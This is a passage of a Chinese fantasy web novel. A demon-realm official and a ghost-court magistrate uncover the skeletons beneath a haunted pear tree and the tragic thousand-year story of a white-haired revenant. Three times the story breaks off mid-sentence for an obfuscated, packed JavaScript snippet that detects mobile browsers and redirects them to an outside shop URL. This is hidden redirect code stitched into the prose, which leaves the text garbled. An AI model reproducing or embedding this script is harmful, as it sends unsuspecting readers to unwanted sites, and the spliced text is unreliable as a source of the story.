“辛苦啦。”她说。 关临渊随手掐了个诀,全身就干了。他穿上外套,问:“人找到了吗?” “送回去了。”聂明月把山上的经历大致说了一遍。 关临渊听完,说:“是鬼,归我!” 聂明月:“……我没想跟你抢怪。” - 两人在水潭旁坐了下来,最重要的东西已经找到了,人也平安无事了,他们才有时间慢慢梳理整件事。 那一大一小和老梨树,目前看来是捆绑在一起的。村里人说从未见过鬼,通过今天的事,应该是它们还没害过人,所以没被发现。 小的长相怪异,但有脑子。 大的智商不高,会给小的扎小辫儿。 老的呢,早就枯死了,但依然每年开花结果。 既然它们无心害人,为何半个多月前会让工人发现呢?为何昨晚要把赶趟哥藏起来呢?这个时间点很重要。 聂明月想起山神捎的话,今天是农历三月十五,六十年前的今天,山中有白毛妖借道。 赵家祖孙,赵老婆子曾经是个神婆,赵林生间歇性癫狂,两人行事诡异。 那天到底是死而复生?还是陈丽华撒谎?需要深究。 而在陈丽华的故事里,她也是六十年前的今天逃出来的。 所以,两人最终商定,先进村,等工人们下班后,再去探一探梨花树下的玄机。 “还有这个……”她突然又想起一事,放下背包打开,本来很轻的包,这几天多了很多东西。酒葫芦、野果干、玉如意……她使劲扒拉,终于从背包底部,翻出那只硬壳虫来。 翻包的时候她看到真空衣物袋,突然想起自己这几天还没换过衣服,她把虫子扔给关临渊,悄悄低头闻了闻自己,还好,没臭。 关临渊猝不及防,将虫子抱了个满怀,待他看清来物,惊得跳了起来,虫子也掉到地上。 “这是什么?!”他脸色煞白,嘴唇发抖,看来吓得不轻。 “虫子啊。那女人嘴里的。”她一脸无辜。 “你你你怎么弄出来的?”关临渊远远站着,不敢走近。 “用手抓出来的。”聂明月有点明白了,这位大人看似无懈可击,居然怕虫子。 “聂明月!我说多少遍了!你能不能不要随便抓东西!”关临渊气急败坏,又想痛揍熊孩子了。 那硬壳虫是活的,婴儿手臂大小,后背有甲,缩起来的头有触角,无足。 它看起来可怕,却相当胆小,聂明月把它捡起来时,能感受到它正全身抖如筛。 借着天光,聂明月仔细观察,发现虫甲上也有一圈圈不规则的紫色纹路。 她不由猜测:“这不会是,那水里的石虫长大后的成虫吧?” 在水里泡了近两个小时、无数次摸着排石壁的关临渊,终于崩溃了…… 19. 水下龙潭 聂明月的指尖沿着石虫甲壳上的紫色纹路划过,虫子藏不住的触角身不由己地战栗。她觉得好玩,又在虫背上画了一圈,再一圈,石虫终于忍不住了,全身都发出了欢快的颤抖。 “我觉得它不是害怕,舒服着呢。”聂明月想安慰一下关临渊,比起方才失控场面的尴尬程度来,他对虫子的恐惧似乎更要严重点:“所以你好点了吗?” 毕竟虫子都接受现实,开始享乐了。 关临渊整理表情,用最冷的语气,说着最怂的话:“收起来。” 她也不是个不分轻重的人,难得看到关大人这副样子,逗两次就够了。 她拍拍石虫的背:“小紫,先去包里待着。”石虫极识抬举地从她腿上翻了个身滚落到地面,一溜烟钻回背包。 【谁家熊孩子啊,还给虫子起名字啊!】 关临渊内心狂吼,表面波澜不惊:“我说说水下的事吧。” 龙潭子约有室内篮球场大小,呈漏斗状,外浅内深,越往下越窄,目测看不出来深浅。 关临渊下潜了五十多米,终于触到了底。潭底有一个盆口大小的石缝,导致潭水形成一道缓缓向下的漩涡。 他是现任阴冥司,冥池之水日夜不息冲洗着万千妖魂、魔魄、阴鬼的罪恶与欲念,在控水一道上,他专业对口。 关临渊施法汇聚潭中水,控制水流飞速旋转着向地缝中涌去,积到足够的数量后,他气息一换,那洞下的水突然结成一道水柱,改变流向复返,自地底深处奔涌而上,瞬间将水底岩石抬起,生生冲出一个能让他进出的通道来。 沿着通道走出不到十步,出现一个巨大的洞窟,里面有一个和龙潭子差不多大小的水潭,死水碧绿,毫无生机。 关临渊一点也不意外,无论是山神讲述,还是民间传说,就没人说青龙是个独眼龙。这里应该才是那龙穿山后,用头砸出来的真正坑洞了。它撞山奋力保护隐藏的东西,是否就是那柄如意呢? 水边有一些零零碎碎的东西,生锈的柴刀、钥匙圈、碎银、鞋子、首饰、塑料玩具……估计是玩水的村民不慎掉落后卡在缝内,被他弄穿石壁冲下来的。 他一眼就看见了那个秤砣,拾起来时,铁锈碎片纷纷往下落。他这才留意到洞内几乎真空,只有些微空气,也许还是因为他开了一个通道的缘故。 既然找到了秤砣,他便不再逗留,转身往回走。向上游到一半,眼角余光扫到排石壁,有一块深紫色的石头,微不可见地动了一下。 他心中诧异,以为自己看错了。再过了几息,那块石头又轻轻蠕动,紫色花纹在水波中更显妖异。而在它最下方,已经没有了石块,只留下一排的空石坑。 他大致算了下,空石坑400来个,每个石坑边缘都非常不规则。仔细观察,是硬物留下的开凿痕迹,像是有人拿工具将石头撬下。 他尝试用普通人的力气拔了一下石头,纹丝不动。 - “你是说,排石壁的坑,是被人为抠走的?”聂明月听他说完,蹲在水边,仔细看那面石壁。 “甚至有可能,是人工种上的。”关临渊说,排石只有一面,刚好是一线天的阳光能照到的位置。 “这石虫有什么用呢?小紫在女鬼嘴里,也是被人塞进去的?”聂明月想不通。 “那不是你的小紫吗,你问它啊。”关临渊听她喊得亲热,极为不适。 “龙洞村的事太复杂了,一重接一重。来之前可真是没想到。”聂明月有点后悔没有带上计九崖了。论见多识广这方面,计九崖堪称百科全书。 “还有一个事。地下龙潭的通道,我还没堵上,你觉得我需要把它堵上吗?”关临渊把决定权交给聂明月。 聂明月沉默了。除了秤和如意,她在这里感受不到它的任何气息,她尝试告诉过它,她来找它了,没有得到过一点回应。 她低声问:“龙死后,会转世投胎吗?” 这问题听起来很幼稚,但关临渊极为认真地答道:“传说中的龙,都是上神,神仙怎么会死呢?民间流传的妖龙作怪,其实是还没化形的妖物而已。妖怪死了,自是进冥池后,根据其作为再判转世或者受罚。” 然而幼蛟修炼未成,强行破境化龙,到底是算妖还是神呢? 在青龙这件事上,他也下不了判断:“我可以回去翻前几任的记录,看看一千年内有没有龙魂转世……” 聂明月站起身来,拍拍身上的泥:“不用麻烦了,那洞口就留着,交给老天爷吧。” 她其实还是想让洞窟被发现,让传说变成真实的记录。 她想让人们知道,它曾存在于这世间。 - 既然做了决定,那就把收尾工作做干净。关临渊花了极长的时间,将通道扩大到刚好让人察觉的程度,又让聂明月把石壁销毁,避免有人用来害人。 那女人进入水中,一掌拍下去,整面石壁带着一层岩石皮完整脱落,沉入水底。她好像很喜欢做这种事,还嫌没过够瘾,又仔细排查一番,抠下几颗漏网之石。 脱离了阳光和石壁,这些未成熟的石虫,应该不会有发育的机会了。 关临渊是个仔细严谨的人,他在水里来回好几趟,把现场布置成“石壁脱落砸穿潭底,露出地下洞窟”的正常自然现象,没留下一点纰漏。 弄完这一切,已是快晚上六点了。龙潭子水位明显下降,只要有人路过留意,就会发现潭中陷洞。 - 出发前,聂明月进龙洞换了身衣服。 “你把你那风干的方法教教我呗。”两人登到坡顶时,聂明月散下的头发还没干,十分眼馋关临渊能让衣服瞬干的本事。 “不过是个入门的驭水诀,你不会?”关临渊颇为意外,聂明月的身手,大开大合简单有效,与他打架也没落过下风。 认识一百年了,好像确实没有见过聂明月使用法术。 “我那都自己摸索出来的,野路子。”她生来就有强大的能力,但凡感官敏锐的,都能感受到来自她的力量威压,可她自己却找不到法门。 她的经验套路,都是一场场架打出来的。 面对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149586|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她求知若渴的眼神,关临渊心肠一软,反正要等工人吃完饭下山,还有点时间。 “所谓术,有妖灵的妖术、修行者的法术,还有武者的武术,归根结底,其实都是借势。” “鱼乘于水,鸟乘于风,草木乘于时。一件湿衣,你以自身内力,借空气流动将水吸出,是驭风;借水使其凝珠落下,是驭水;你甚至可以借身体的热度,使其瞬间提温把水烘干,是驭火……自然万物,均可借势。” “关键在于你自身内息的多少,和你控制的程度。” 他抬手聚气,凝成一把风刃,向路旁一棵矮柏树抛去,树枝当即落地。 聂明月受益匪浅,当即学着抬手一甩,柏树旁边的一株野草,现场折腰。 “还得是大单位的培训体系成系统啊!”聂明月发出感叹,满脸羡慕,才不说自己瞄的是树呢。 关临渊:【这种看饿久了的小孩儿吃肉包子似的心疼,是怎么回事?】 “以后找个时间,我好好跟你讲一遍吧。”他做下决定。 - 远处出现了移动的光亮,是工人们下山了。 此时天色已黑,高悬的月亮被一片云遮了一大半。 关临渊站在树下,仰头看花,朵朵梨花如簇簇雪团,堆出一片花云,空气中飘着淡淡梨花香气。 聂明月说其本相是枯败死树,他如果不施术的话,是看不出来的,这就是那让人羡慕的天赋吧。 “那一大一小呢?在这里吗?”关临渊问,他施术了也没看见,唯恐是自己修为太浅。 聂明月悄悄收起赤瞳:“不在。”但是,背包里的虫子开始不老实了,正在胡乱扭动着。 她将虫子取出放到地上,它的脑袋终于从壳里露出来,触角摆动,迅速爬到树下,又绕了大半圈,最后停了下来。 它似乎是没有眼睛的,触角不再摆动后,就把头朝下往土里钻,全然不管自己能不能钻进去。 那处地上扎着一段树根,看起来和别的地方没有什么差别。 聂明月双手握住树根,微一使力,连根带土将其拔了出来。 一截白骨赫然出现,虫子激动得原地转圈。她还要继续徒手挖骨,关临渊伸手拦住,随即捏了个驭土诀,移走了一层。 一具完整尸骨露出地面,颅骨前额凹陷,明显被重物砸过。 衣物已经烂成碎片了,但是那双土布鞋,聂明月却是见过的。 “大的。”她说,正是早上见过的那女人穿的鞋。 此时,夜里的山间起了风,云随风动,露出一轮圆月高悬,梨花的香气愈加明显。 关临渊发现残存衣物碎片下,露出一角红色。他轻轻揭开碎布,一个红色胶皮本子被裹在厚厚的油纸里,大概是油纸防水的缘故,本子保存完好。 他小心翼翼拾起来,打开油纸,胶皮本是全新的,里面还夹着一张半折的纸。 那是一份《扫除文盲证明书》,最上面一行手写着学员名字: 陈梨花。 那字迹清隽骨正,带着一股仙气。 20. 梨花幻境 人间行走指南: 【每个妖都有自己的幻境。那是以死亡为代价结成的最后记忆。】 - 丛林中的动物窸窸窣窣,虫鸣时断时续,树梢的夜枭睁着眼,夜复一夜凝视着月下的山间。 微风吹过,路边一丛长草叶瑟瑟卷起,一只嶙峋的手从草间伸出,露出无瞳的灰白眼睛,谨慎地打量着四周的环境。 确认周围没有危险,匍匐着的身体突然直立,衣袍碎片掠过草尖,及地白发遮住了脸面,它张开双腿奋力奔跑着,鬼魅般的身形在林中若隐若现。 到达龙洞时,它停了下来。四周环视,干枯若骷髅的脸上闪过一丝疑惑:那存在千年的龙的气息,怎么消失了?也就是说,龙灵的威压已去,它可以大胆上山了! 天助我也!老天爷都在成全! 它不再逗留,迅速穿过龙洞,从小路上山。 要快点!再快点!月亮已经上了山头,它为了这一天,又多等了六十年! 你等我!等着我啊! 等我与你重聚,等我带你,重返人间! - 灵枭发现了对面龙洞山的异状,它张开翅膀,平滑地在林中穿行,不断发出“咕——咕”声,向秦川三百峰原住民们示警—— “有外敌!有外敌进山!” “白毛怪又来了!” “白毛怪上了龙洞山!” 一道传一道,风去向哪里,消息就传到了哪里。整个秦川山脉,在夜里瞬间喧闹起来。 - 如果地上的尸骨是陈梨花,海泽的那个女人又是谁? 聂明月和关临渊对视,本来是来抓鬼的,突然出现的尸骨,让他们都有些意外。 那一大一小还没出现。今晚,它们还会现身吗? “按照你的流程,接下来该做什么?”聂明月问。 “报警。”关临渊说。人的事情,应该由人来处理。他做事遵循的原则就是不越界,不多管闲事,不给自己增加无谓的麻烦。 风停了。空气变得浓重起来,月光下的梨花越开越盛,不寻常的花香弥漫,枝头的洁白花簇覆上了一层妖异气息。 起雾了。聂明月抬头,铺天的花枝已被白色雾气笼罩,院子被包裹在雾色中,两人已看不到院外的山影树林。 “梨花瘴。”关临渊沉声道:“你有没有问题?” “没有。”聂明月知道他是在问她能不能承受瘴气。瘴气迷惑的是脆弱的生灵,先障目,后迷心。她不会有任何影响,况且,她也没有感受到有妖物对她的恶意。 “它可能想让我们看到些什么。” - “吱呀——”院门口传来木门推开的声音。一个黑瘦男人提着竹篓走进院来。他看起来二十多岁,穿着一件土布白褂子,露出的一双胳膊遒劲有力。 “奶奶!”男人大声唤:“我今天又挖到两颗虫子!” 厨房的门打开了,一个老婆子走出来:“小声点,你媳妇还在睡。” 男人闻言,放轻了脚步,站在树下说:“奶奶,她睡了好几天了,怎么还没醒?” “采石场那道人说,刚吃芘虫的几天,是这样的。”老婆子接过篓子,从里面掏出两块紫色石头,又叹了口气:“这芘虫长得极慢,从种到熟,得要20天。咱们头一次种了40只,现在都一个月了,才收了不到10块。” “不急的,奶奶。媳妇我是捡回来的,她又不会跑。”男人咧嘴笑。 “家里的老秤可能有误,道人说了,分量不够也不行。”老婆子叹了口气:“你下次赶场的时候,逮只鸡卖了,换一杆药秤来。” 男人应下,和老婆子一起去厨房了。 - 聂明月和关临渊就站在方才男人的旁边,两人对他们都视而不见。 “这应该是赵林生和他奶奶了。”聂明月说。关临渊点头,又抬了抬下巴,示意她,有人从屋里出来了。 一个挺着大肚子的女人走到院内,正是年轻的陈丽华。她面容姣好,脸庞比老年后更圆润些,看来在赵家日子过得不错。 家里人都出去干活了,她在家没事做,刚把柴房收拾了,又来给老梨树浇水。她挺着肚子极为不便,来回走了两趟,就喘着粗气扶着腰回去了。 “陈丽华没说过她生过孩子。”聂明月说。既然是当年的幻境,他们说话,境内的人也是听不见的。 “那孩子有问题。”关临渊说,陈丽华的肚子大得出奇,身体内有浓郁的灵气,已不是她一个普通女子能承受的程度了。 - 赵林生穿着一件蓝布棉袄,在梨树下挥着锄头,很快就挖出了一个深坑。 他又回屋,抱着一个棉襦出来。摊开衣服,里面是一个浑身青紫的女婴,已经没有了气息。 陈丽华披头散发从屋里冲出来,大声嘶叫着:“不要埋!不要埋!这是我的孩子!她不是怪物!她还活着!” 赵老婆子站在门口,阴恻恻地说:“一个女娃子,有啥子好哭的,死就死了,你好好调身体,明年再生一个。” 赵林生甩开陈丽华的手,她收势不住摔倒在地。赵林生将孩子放到土坑里,一层一层土埋了上去。 女人绝望地哭泣着,声音越来越小:“……她好歹是你赵家的骨肉,我们去祖坟坡,给她好好安葬了,好不好?”语气中带着乞求。 男人嫌她烦,填完土,又踩上去压实了地面,不再理会地上的女人,走回屋里狠狠关上了房门。 赵老婆子走出来,冲着梨树下啐了一口:“晦气!要是个男娃,我这灵童就养成了!现在又要等一年!” - “原来下面还有一个。”聂明月看向尸骨,那尸骨之下,应该就是女婴的位置了:“灵童是什么?” 关临渊一脸不屑:“愚蠢的老婆子,用了邪术,想用灵童骨,给她赵家续命。” 灵童骨须得是在胎内十四个月的男婴,出生时注定就是死的,再以尸骨磨粉服用,相传可以延年益寿,永葆青春。赵老婆子是个乡野神婆,不知道从哪里弄来的邪术。 聂明月不解,她一直以为赵家祖孙是为了子嗣后代,没想到是为了自己。可怜了陈丽华,就这样被当作了生产工具。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183355|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你看过《西游记》没有?”关临渊突然问。 聂明月一脸茫然,那是什么? “《西游记》里有一集,比丘国国王想长生,白鹿精杀了1111个男童,就为了让他吃男童心脏换长生。”关临渊感叹:“长生是人类的终极向往。所以民间才有这样的邪方流传。” 他又皱了皱眉,继续说:“这事不对。如果石虫就是芘虫,其实芘虫对人并无害处,反而大大有益,普通人吃了延年益寿,修士妖怪吃了可以增长灵力。赵婆子说是遇到一个道人给她的方子,那道人并无害人心。” 这么一说,龙潭子真是一个芘虫最佳的种植地了。芘石好水,又在龙潭之中生长,青龙灵气未尽,难怪芘石数量多到铺满了整个石壁。 说话间场景又有了变化,梨花迅速掉落,枝条渐渐干枯,树干上裂出长缝……雾气迅速消散,院墙塌落,房子现出残败的真面目来。 圆月高悬,枯树老院,他们回到了现实之中。 “它确实就是龙洞山的守护山精。”聂明月看着老梨树说,它一直在保护她们,那一大一小两个女人的尸骨,和它的根埋在一起,血肉与树相连,才开出这一树的花来。 难怪它们三个总是同时出现,它们已经无法分开了。 “接着挖?”关临渊示意,不知道老梨树开瘴的真正目的是什么,但既然那孩子的尸骨在树下,大概就是它想要他们把她也挖出来吧。 “等等。”聂明月叫住他:“有人来了。不对,是个妖。” - 快到了!快到了!马上就可以见到她了! 它穿梭在青杠林,向那个院子极速跑去。 六十年前的今天,也是这样的月光,也是这样的夜里。 对不起,让你等了六十年。 它冲到院子里,树下站着一男一女,两人身上都有让它不敢靠近的神秘威压。 可是它顾不得了,就在树下,她就在树下!它要去把她叫醒! - 一个披着白色毛发的枯瘦东西冲进院子,见到他俩,愣了一下。聂明月和关临渊已经做好了动手的准备,结果那东西明明害怕得要命,却还是不顾他们的存在,冲到了坑旁。 “不!”那东西嘴里发出来的嘶吼,干涩生硬,却有带着绝望的不敢置信。它见尸骨已经现出地面,不是它期待中的样子,六十年的等待瞬间化为泡影。 “为什么!为什么!”口吐人言的妖跪在了地上:“我来晚了?我还是来晚了!” “好恨啊!我用了那么大的心力,我没有伤害任何人。我只是想让她活过来……”白毛妖无瞳的双眼,流出两行血泪。 它又想到了什么,在坑里扒着土,到处找:“虫子呢?虫子!” 聂明月打开包,取出小紫,问:“你是在找这个吗?” 它看到她手中的成熟石虫,伸出枯枝般的手,上面长长的指甲已经卷曲,它抬头看向聂明月,语气中带着乞求:“求……求求你,把它给我。” 关临渊从身后掏出一把铁尺,对着它,缓缓说:“你先告诉我,你是个什么东西?” 21. 暮鼓晨钟 人间行走指南: 【妖一旦有了执念,比人更可怕。人的执念区区百年,妖的执念生生世世。】 - 少年躺在一张破门板上,屋顶的天窗没合上,一弯新月如钩。他伸出手,小指微曲,勾向那轮弯月。 他的两条腿彻底断了,从那高台摔下来时,他先听到的就是腿骨折断的声音,脆响。那声音此时就在他脑中回响,“咔嚓”“咔嚓”…… 接下来,他便会如三年前的小虎子那般,连留下来的资格都没有,被师父连人带板扔到城外的破庙里,自生自灭。 他绝望地闭上了眼……门开了,有人进来了,他们要来了…… 却没有嘈杂声,他睁开眼,微弱月光下,新妇青嫩的面容依旧,他颤抖着,唤出一声:“师娘……” 一个月前,她还是他的师妹。现在,他却得叫她师娘。 少年们从小一起在杂耍班里练功、挨打,鼻青脸肿地长大。曾经满身伤痕地相互依偎,已成了说不出口的隐秘往事。 师娘指尖拂过他的双腿,明明没有知觉,他却觉得一阵冰凉。黑夜中,她在拿两块木板夹住他的伤处,又用布条捆住。 他眼泪从眼角落下,不再说话。她却没有停下来,又拿出一根绳索,抱起他的上身,缚住了他坐了起来。 “师娘……你?”他不知道她想做什么,只听得女子使力的喘息声。 她蹲下来,把他背在身后,牢牢将两人捆在了一起:“师兄,以前是你托我,从现在起,就让我来背你!” 女孩子纤细的脊骨分明,他趴在她的背上,说不出一句话来,只能用还能动弹的手,轻轻搭在她的肩上。 宋仁宗乾兴元年二月间,开封府瓦子勾栏街,何家班轻身功夫最好的伎人,背着重伤的师兄,悄无声息地消失在黑夜中。 - 十一年后,一对道侣来到了秦川郡。男的名为沈敬,自称浮云道长,来自淮西宜新浮云山。女道长号清灵,两人感情甚笃。他们途经此处,见衙门正在召集修士捉妖,两人便与众人一起前往猿王峰。 猿王峰下确实有神龙现世,众修士还未动手,那幼蛟就腾云而去了。众人悻悻返程,但因天降甘霖缓了百姓之难,太守依然将赏银发放给大家。 沈敬曾有奇遇,得芘石修炼之术,二人身手不凡,在修士之中也小有名气,但于捉妖一事上却并无所长。此次想的也就是来参与一番,增识广闻,便拒了赏银告辞离去。 那事半年之后,这对道侣已游历至浙东一带。突有一天,遇到一名玄衣女子,不由分说将两人打成重伤。他将昏迷的爱侣抱在怀中,质问女子因何而来,女子道,凡当日在猿王峰下伤幼蛟者,均得付出代价。事先她已探明,他二人并未领赏银,才得以保住性命。 说罢女子转身遁去,那等神通,他生平未见。 爱侣清灵,因年幼时练功的经年旧伤,此次受伤后久久不愈,最终没能挺过冬天,香消玉殒了。 沈敬悲痛之际,想起芘石修仙之术,可令亡者复生、修士升仙。于是他背尸千里,寻得巴山脚下一隐秘洞穴,两人口含芘石,就此闭关。 一千年后,沈敬再次醒来,全身被白毛覆盖,形同走尸。他顾不得自身异状,再去看清灵却未能修仙成功,身旁早已是一堆风化尘土…… 他不甘心,追溯芳魂杳踪,不知清灵已经转世轮回了几次。最近一次,却是在二十二年前了。 那清灵转世最终出现的地方,竟是千年前青龙葬身的龙洞山! - “当年一念之差,换来千年轮回……”白毛怪眼含血泪,跪在聂明月两人前,嘶哑着声音说:“我还能救她,芘石化形,就差三个时辰,三个时辰啊,她就能重新活过来了……” “两位仙人,求求你们。我与清灵一生从未作恶,只求百年厮守……求仙人将石虫还我,我还能救她……” 枯树之下,白毛怪全身颤抖,地上白骨森森。聂明月怀中的小紫,不安分地扭动着。 “六十年前的今天,赵家祖孙暴毙,是你做的吗?”她问。 白毛怪趴在地上头也不敢抬,继续说起往事。 白毛怪寻至龙洞山下,却因龙威仍在,不敢上山,只得乔装成一道人,整日在山下徘徊。他打听到,赵家刚娶了一名外地女子,时间年龄都对得上,就期盼着有一天能与女子遇上。 没想到清灵一直没机会下山,他却遇到了神色鬼祟的赵婆子。他跟着赵婆子到了一采石场。那婆子拿出香烛,给横死的儿子儿媳烧纸。听她的胡言乱语,原来是老婆子常年装神弄鬼治病行医,做了很多伤天害理之事。她害怕儿子的死是她带来的报应,每年都会来此地祈祷鬼神勿扰,保她平安。 他本来也没想好接下来该怎么做。清灵显然已经不是当年的爱侣了,如今嫁为人妇,有了自己的生活。可他观那老婆子满身怨气围绕,福缘浅薄,一脸短命之相,若连累到这一世的清灵,她也不会有好的生活。 他便现身与赵婆子交谈,赠她种芘石养生之法,特意叮嘱,须得给儿媳妇每日服下,才能保证家族安宁。若清灵常年食用芘石粉,也能在离家之后,与他继续修行厮守。 那时他并不知道赵老婆子奸猾,早就为清灵种下了灵童之毒,指望着用邪术来为自己延寿续命。 他等了三年,算着芘石的分量,终于在六十年前的那晚,他冒险上山,顶着龙灵威压的痛苦,赶到赵家,却看到的是满院生气全无,树下有一片新土,刨土查看,居然是一具被草草掩埋的新死女尸! 千年之后,他与清灵再次相见,又是阴阳两隔…… 绝望之际,他看出那梨树是千年山精,虽已败亡,仍有灵气扎于根部。便将芘石塞于女尸口中,将尸体埋在原处后,以旧土覆盖看不出异状,待六十年聚清灵亡魂不散,芘石成虫之日,便可与清灵的鬼魂相见了。 临走时,他想到若是有人发现赵家人都死了,必然会引起慌乱。又施法为两人续了一命,不过他观两人均是暴毙横死的最终结局,他这般操作,也不算有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192259|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 违天道,不过就是延长一段苟且生存的时间罢了…… - 沈敬的芘石是有效的,女鬼确实在六十年后聚魂现形,和灵童一起出现在了梨花树下。 如果今晚再取出芘虫,也许她真的就可以开口说话,与沈敬相见了。 谁能料到,聂明月为了救赶趟哥,早上见到女鬼,就将芘虫从她嘴里掏出,只差最后一步…… “沈敬!你强行拘魂干扰轮回,以邪术为该死之人续命,还说从未作恶?”白毛怪的一番操作,已经触碰到了关临渊的底线,他铁尺铮铮,立于月下,眼中现出凌厉之意。 “求大人……我本是修道之人,不过求与道侣安稳一生……如今成了这副走尸模样,已无法再入轮回。这六十年我躲在巴山洞穴日日忏悔,只求来日清灵享一生平静,过上不被欺辱的日子……” 白毛怪一声长泣:“我愿接受大人的任何惩罚,散尽妖力,了断性命。只要……只求大人赐清灵来世无忧。” 关临渊下了结论:“你以芘虫聚魂未成,此罪可免。但你妄想继续施术,我不会答应。你现在已化为走尸,不再是人,只要你不作恶,明堂不管你,我也不会干涉你的日后行径。” 聂明月没想到,沈敬与清灵的命运,在千年前是因她发生了改变——大妖听小猴子所见描述,以为是修士联手迫害了幼蛟,竟然逐一追踪寻仇。 微不足道的一句话、一个念头,带来的阴差阳错,造成一对有情人的阴阳分离。 沈敬与清灵,千年一世,如晨钟暮鼓,一早一晚,终生不得相聚,千年不得和鸣。 她此时心中也响起了一道犹如钟鼓的穿林破山之音,在脑中阵阵回荡—— 她这百年,以命运为敌,执意反抗,却在无意中影响了别人的命运。 若不是她,他们是否早就可以厮守到老,不用经历这痛苦的人生? 白毛怪求关临渊惩罚,让她对自己的执念有了疑惑:她所做的这一切,又有谁来判断对错? - 当年之事的真相,渐渐浮出水面。但海泽的陈丽华依然活在世上,树下的女鬼身份成谜。 关临渊看向聂明月:“他,你带走。那一大一小,我带走。” 沈敬知在阴冥司面前,再无可挽回之地,俯身长跪,言之切切:“求大人,予她……好轮回。” 树下两个浅浅的身影逐渐显出,满脸是血的女人,拉着懵懂女孩的手,等待命运的安排。 聂明月抢先出手,捏指成诀,唤出明堂虚影,瞬间山中传出惶惶沸腾之音,百鸟千兽,数不清的草木石虫,臣服于神山之下,深深叩拜。 沈敬与两道鬼影,均消失于神山脚下。 关临渊:“你!” 聂明月手掌回握,收回明堂,对关临渊一笑:“她俩和梨花山精已成一体,不是鬼,是妖,归我。” 大概是她面部表情还是没能控制自如,在关临渊看来,月色之下的那笑容太过得意明媚,竟让阴冥司大人一时说不出话来。 22. 万妖之王 人间行走指南: 【大部分鬼故事是人捏造的,因为有些时候,人类只敢借鬼之口来说真话。】 - 1924年的秋天,汽笛长鸣中,由京城开往奉天的列车缓缓启动。关临渊提着皮箱,跟着一个女人从中部车厢走到了车尾。 “先生,这是头等车厢,您不能进入。”他被列车员拦住,眼看着穿着黑色大衣的女人就要脱离视线。 “聂小姐!”关临渊叫,女人停下,转身看向他,脸上带着疑惑。 关临渊见她有反应,暗赞自己猜对了。他几日前在上海执行公务,抓到一只在大戏院恶作剧的魇。那魇大放厥词,说受京城聂小姐庇佑,阴冥司无权拿世间妖:“聂小姐说了,除非我死了!不然谁也别想带我走。”魇得意道。 关临渊从不受人胁迫利诱,将魇收入铁尺中。带回冥池审讯时,发现这魇无因无果,竟入不了轮回。按照师父的交代,只能把它放了。 临走时,魇大摇大摆留下一句话:“阴冥司算个屁!有本事你去京城找聂小姐去!”就此在新上任的大人心口,留下了一根刺。 - 他刚到京城东大街原将军府的宅子,就看到一个女人被家仆送上车。他一路跟踪到了火车站,趁检票的时候,慌忙去买了张即将发车的车票,就这样上了车。 “我从南方来,专程找聂小姐,”他站在车厢连接处,拿出铁尺。但凡人间行走的妖物,不可能不认识这把尺。 聂小姐眼眸微亮,说:“过天津站,可让他,来找我。”她这话却是对列车员说的,随后转身离开,竟是话都懒得与他说。 天津站上车的乘客更多,关临渊从座位上起来,一个没买到坐票的老头立即坐了下去。他也不管了,直接去了头等车厢,在铺着地毯、有着淡淡香气的一号房间,见到了聂明月。 她正在看一本叫《有明堂》的月刊,那一页是幅漫画,印着扬州八怪之一罗聘的《鬼趣图》,旁边附了一段嘲讽当下政局的话。 关临渊忍不住嘲讽:“聂小姐居然是个不看苍生看鬼神的人。” 聂明月抬头看了他一眼,合上杂志:“如今乱世,阴冥司大人,难道还不懂,到底是人多,还是鬼多?”她说话极慢,几个字成一句,听起来极为吃力。 关临渊放下行李,站在她对面:“我阴冥司最清楚,鬼还是那些鬼,乱世之中的鬼怪故事,不过就是有的人借鬼之口,说出来他不敢说的话而已。”他摘下手套伸出手,自我介绍:“现任阴冥司司长,关临渊。” 聂明月也站了起来,伸出手:“明堂,聂明月。”那手纤细而骨感生硬,握之冰凉。 关临渊说明来意,他不是个冲动的愣头青,此次是本着解决问题的目的而来,并不是要上门质问:“聂小姐,你们明堂管的是世间行走的妖,我管的是人间作乱的鬼,如果聂小姐无法约束妖们的行径,阴冥司可以替明堂来解决。” 聂明月道:“二十年前,第一次遇到,你师父,方知妖鬼也有道,天命有归宿。你师父告诉我,你们阴冥司,并不是管,人间亡魂的。只有大功德,或罪孽深重的,修士、妖怪和人,死后才会,由冥池判去向。” 那次之后,明堂与阴冥司达成了协议,她在人间以明堂之力约束妖物,阴冥司在阴间赏罚亡魂。 “只要明堂,约束妖灵精怪,不作恶,你们就不捉妖,回冥池。”聂明月道:“这是我们的约定。某种意义上,明堂帮阴冥司,省了事。是你师父,没交代清楚,还是你,新官上任,想烧三把火?” 关临渊也不生气,只是暗中握尺,以念力探聂明月深浅。刚触碰过去,竟神魂大震,心口剧痛,吐出一口鲜血来。 